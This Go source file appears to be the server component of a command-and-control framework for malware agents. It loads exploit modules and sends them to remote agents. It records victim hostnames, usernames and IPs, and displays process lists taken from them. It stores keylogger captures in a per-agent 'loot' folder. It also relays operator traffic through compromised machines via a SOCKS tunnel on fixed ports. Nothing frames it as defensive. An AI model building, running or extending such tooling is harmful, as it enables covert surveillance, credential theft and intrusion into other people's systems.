package main

import (
	"bytes"
	"fmt"
	"io"
	"io/fs"
	"log"
	"net"
	"os"
	"path/filepath"
	"strings"
	"sync"
	"text/tabwriter"
	"time"
	"unicode/utf8"
)

type Module struct {
	Name        string // Module name (e.g., "print.exe")
	Type        string // Module type (e.g., "exe", "dll", "bin")
	Path        string // File path to the module
	Description string // Description of the module
}

// Map that will hold modules/exploits
var modules = make(map[string]Module)

// Load modules from directory
func InitModules() error {
	// Clear existing modules
	modules = make(map[string]Module)

	modulesDir := "./modules"

	// Check if modules directory exists
	if _, err := os.Stat(modulesDir); os.IsNotExist(err) {
		return fmt.Errorf("modules directory does not exist: %s", modulesDir)
	}

	// Walk through the modules directory
	err := filepath.Walk(modulesDir, func(path string, info fs.FileInfo, err error) error {
		if err != nil {
			return err
		}

		// Skip directories
		if info.IsDir() {
			return nil
		}

		// Get file extension as module type
		fileName := info.Name()
		fileExt := strings.TrimPrefix(filepath.Ext(fileName), ".")

		// Only process supported module types
		if fileExt != "exe" && fileExt != "dll" && fileExt != "bin" {
			log.Printf("Skipping unsupported file type: %s", path)
			return nil
		}

		// Read description from accompanying .desc file if it exists
		descPath := strings.TrimSuffix(path, filepath.Ext(path)) + ".desc"
		description := "No description available"

		if descData, err := os.ReadFile(descPath); err == nil {
			description = strings.TrimSpace(string(descData))
		}

		// Create and add the module
		module := Module{
			Name:        fileName,
			Type:        fileExt,
			Path:        path,
			Description: description,
		}

		modules[fileName] = module
		log.Printf("Loaded module: %s (%s)", fileName, path)

		return nil
	})

	if err != nil {
		return fmt.Errorf("error walking modules directory: %v", err)
	}

	log.Printf("Loaded %d modules from %s", len(modules), modulesDir)
	return nil
}

// Prepare and send encrypted module
func SendModule(agentConn net.Conn, agentID string, task *Task) {
	payloadSize := len(task.Payload)
	log.Printf("Preparing to send module. Size: %d bytes", payloadSize)

	const MaxPayloadSize = 10 * 1024 * 1024 // 10 MB
	if payloadSize > MaxPayloadSize {
		log.Printf("Payload size exceeds maximum allowed limit: %d bytes", payloadSize)
		return
	}

	// Waiting for confirmation from agent
	msg := make([]byte, 512)
	agentConn.SetReadDeadline(time.Now().Add(5 * time.Second))
	n, err := agentConn.Read(msg)
	if err != nil {
		log.Printf("Error or timeout reading ACK message during module transfer %s: %v", agentID, err)
		return
	}

	ack_msg := strings.TrimSpace(string(msg[:n]))
	if ack_msg != "ACK" {
		log.Printf("Unknown message during module transfer:%s", ack_msg)
		return
	}
	log.Printf("Received ACK from agent, sending module data")

	bytesSent := 0
	for bytesSent < payloadSize {
		n, err := agentConn.Write(task.Payload[bytesSent:])
		if err != nil {
			log.Printf("Error sending module data: %v", err)
			return
		}
		bytesSent += n
	}
	log.Printf("Module sent successfully to agent %s. Total bytes sent: %d", agentID, bytesSent)
}

// Handle information about system received from agent
func HandleSystemInfo(agentID, agentIP, sysInfo string) {
	log.Printf("Received system info from agent %s ", agentID)
	messageParts := strings.Split(sysInfo, "|")

	if len(messageParts) < 7 {
		log.Printf("Not enough parts in sysinfo")
		return
	}
	newInfo := &AgentInfo{
		OSVersion:    messageParts[0],
		Architecture: messageParts[1],
		Hostname:     messageParts[2],
		Username:     messageParts[3],
		LocalIP:      messageParts[4],
		Procname:     messageParts[5],
		PID:          messageParts[6],
	}

	newInfo.LastConnection = time.Now()
	newInfo.RemoteIP = agentIP

	UpdateAgent(agentID, newInfo)
}

// Formats the raw CSV process data into a nice output
func FormatProcessListOutput(agentID, rawData, taskID string) {
	// Create a buffer for our formatted output
	var buffer bytes.Buffer

	// Create a tabwriter that will handle the column alignment
	w := tabwriter.NewWriter(&buffer, 0, 0, 2, ' ', 0)

	// Print a header banner
	buffer.WriteString("\n[*] Process List\n")
	buffer.WriteString("================\n\n")

	// Write the table header
	fmt.Fprintln(w, "PID\tPPID\tName\tArch\tUser")
	fmt.Fprintln(w, "---\t----\t----\t----\t----")

	// Split the raw data into lines
	lines := strings.Split(strings.TrimSpace(rawData), "\n")

	// Process count
	processCount := 0

	// Parse each line and format it
	for _, line := range lines {
		// Skip empty lines
		if len(line) == 0 {
			continue
		}

		// Split the CSV line
		parts := strings.Split(line, ",")
		if len(parts) >= 5 {
			pid := parts[0]
			ppid := parts[1]
			name := parts[2]
			arch := parts[3]
			user := parts[4]

			// Format the line
			fmt.Fprintf(w, "%s\t%s\t%s\t%s\t%s\n", pid, ppid, name, arch, user)
			processCount++
		}
	}

	// Flush the tabwriter
	w.Flush()

	// Add a summary at the end
	buffer.WriteString(fmt.Sprintf("\nFound %d processes\n", processCount))

	operatorConn, exists := taskHandler.GetOperatorConnByTaskID(agentID, taskID)
	if exists {
		operatorConn.Write([]byte(buffer.Bytes()))
	}
}

// Processes keystrokes and save them to a file
func HandleKeyloggerMessage(agentID string, keystrokes string) {

	log.Print("Keystrokes received")

	// Sanitize the keystroke data by removing null bytes and invalid UTF-8 characters
	keystrokes = strings.ReplaceAll(keystrokes, "\x00", "")
	if !utf8.ValidString(keystrokes) {
		keystrokes = strings.ToValidUTF8(keystrokes, "?")
	}

	// Create the loot directory for the agent if it doesn't exist
	agentDir := filepath.Join("loot", agentID)
	if err := os.MkdirAll(agentDir, 0755); err != nil {
		log.Printf("Failed to create directory for agent %s: %v\n", agentID, err)
		return
	}

	// Generate the filename using today's date
	now := time.Now()
	dateStr := now.Format("2006-01-02") // YYYY-MM-DD format
	filename := fmt.Sprintf("%s-keystrokes.log", dateStr)
	filePath := filepath.Join(agentDir, filename)

	// Open the file in append mode, create if it doesn't exist
	file, err := os.OpenFile(filePath, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
	if err != nil {
		log.Printf("Failed to open file for agent %s: %v\n", agentID, err)
		return
	}
	defer file.Close()

	// Write the sanitized keystrokes to the file
	if _, err := file.WriteString(keystrokes + "\n"); err != nil {
		log.Printf("Failed to write keystrokes for agent %s: %v\n", agentID, err)
	}
}

// SOCKS5 proxy
// listens for agent and client connections on separate ports
func StartRelayServer() error {

	// Agent
	agentLn, err := net.Listen("tcp", "0.0.0.0:30889")
	if err != nil {
		return err
	}
	log.Println("Listening for AGENT on", "0.0.0.0:30889")

	// Client
	clientLn, err := net.Listen("tcp", "0.0.0.0:30900")
	if err != nil {
		agentLn.Close()
		return err
	}
	log.Println("Listening for CLIENT on", "0.0.0.0:30900")

	go func() {
		for {
			agentConn, err := agentLn.Accept()
			if err != nil {
				log.Println("Error accepting client:", err)
				continue
			}
			log.Println("AGENT connected:", agentConn.RemoteAddr())

			go handleTunnel(clientLn, agentConn)
		}
	}()

	return nil
}

// SOCKS5 proxy
// Start tunnel
func handleTunnel(clientLn net.Listener, agentConn net.Conn) {
	defer agentConn.Close()

	log.Println("Waiting for CLIENT...")
	clientConn, err := clientLn.Accept()
	if err != nil {
		log.Println("Error accepting agent:", err)
		return
	}
	log.Println("CLIENT connected:", clientConn.RemoteAddr())
	defer clientConn.Close()

	var wg sync.WaitGroup
	wg.Add(2)

	go pipe(&wg, clientConn, agentConn)
	go pipe(&wg, agentConn, clientConn)

	wg.Wait()
	log.Println("Tunnel between client and agent closed.")
}

// Exchange data
func pipe(wg *sync.WaitGroup, src net.Conn, dst net.Conn) {
	defer wg.Done()

	_, err := io.Copy(dst, src)
	if err != nil {
		log.Printf("Pipe error: %v", err)
	}

	// Gracefully close write direction only
	if tcpDst, ok := dst.(*net.TCPConn); ok {
		tcpDst.CloseWrite()
	}
}
